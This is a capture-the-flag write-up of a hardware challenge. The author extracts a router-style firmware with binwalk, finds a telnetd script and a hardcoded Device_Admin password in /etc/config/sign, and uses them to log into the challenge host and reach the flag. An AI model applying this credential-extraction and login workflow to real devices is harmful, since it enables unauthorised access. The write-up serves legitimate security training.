The Needle

bin

We have a firmware:

file firmware.bin   
firmware.bin: Linux kernel ARM boot executable zImage (kernel >=v3.17, <v4.15) (big-endian, BE-32, ARMv5)

Let’s extract it using binwalk:

binwalk -e firmware.bin

We get the following files:

ls -la 
total 36176
drwxrwxr-x  5 kali kali     4096 Aug 29 16:21 .
drwxrwxr-x  3 kali kali     4096 Aug 29 16:21 ..
-rw-rw-r--  1 kali kali 16762797 Aug 29 16:21 3853.xz
-rw-rw-r--  1 kali kali  1423244 Aug 29 16:21 3930
-rw-rw-r--  1 kali kali 16762576 Aug 29 16:21 3930.xz
-rw-rw-r--  1 kali kali  2068458 Aug 29 16:21 83948.squashfs
drwxr-xr-x 16 kali kali     4096 Aug 29 16:21 squashfs-root
drwxr-xr-x 16 kali kali     4096 Aug 29 16:21 squashfs-root-0
drwxrwxr-x  2 kali kali     4096 Aug 29 16:21 squashfs-root-1

netcat, or is it?

We also have a running instace:

nc 94.237.57.115 32245
��������
ng-1820091-hwtheneedle-fz6gw-56677bcc8d-frx64 login:

The garbage character prompted me to think this isn’t actually supposed to be accessed by nc. I tried telnet:

telnet 94.237.57.115 32245

Trying 94.237.57.115...
Connected to 94.237.57.115.
Escape character is '^]'.

ng-1820091-hwtheneedle-fz6gw-56677bcc8d-frx64 login:

It looks much cleaner. Now let’s go back to the SquashFS file system.

I started by searching for telnet:

┌──(kali㉿vm-kali)-[~/…/hardware/theNeedle/_firmware.bin.extracted/squashfs-root]
└─$ grep -rn 'telnet' ./
./lib/upgrade/common.sh:133:                            *procd*|*ash*|*init*|*watchdog*|*ssh*|*dropbear*|*telnet*|*login*|*hostapd*|*wpa_supplicant*|*nas*|*relayd*) : ;;
./etc/scripts/telnetd.sh:4:TELNETD=`rgdb -g /sys/telnetd`
./etc/scripts/telnetd.sh:6:     echo "Start telnetd ..." > /dev/console
./etc/scripts/telnetd.sh:9:             telnetd -l "/usr/sbin/login" -u Device_Admin:$sign      -i $lf &
./etc/scripts/telnetd.sh:11:            telnetd &
./etc/services:14:telnet                23/tcp

I found a file with what looks like creds, but the password is a variable. Reading the file:

cat ./etc/scripts/telnetd.sh
#!/bin/sh
sign=`cat /etc/config/sign`
TELNETD=`rgdb
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = "true" ]; then
        echo "Start telnetd ..." > /dev/console
        if [ -f "/usr/sbin/login" ]; then
                lf=`rgbd -i -g /runtime/layout/lanif`
                telnetd -l "/usr/sbin/login" -u Device_Admin:$sign      -i $lf &
        else
                telnetd &
        fi
fi  

Then finding the sign file:

find ./ -type f -name 'sign'

./etc/config/sign

We get the password:

cat ./etc/config/sign       
qS6-X/n]u>fVfAt!

Finally:

nc 94.237.57.115 32245
��������
ng-1820091-hwtheneedle-fz6gw-56677bcc8d-frx64 login: Device_Admin
Device_Admin
Password: qS6-X/n]u>fVfAt!

ng-1820091-hwtheneedle-fz6gw-56677bcc8d-frx64:~$ ^[[50;50Rls
ls
flag.txt

---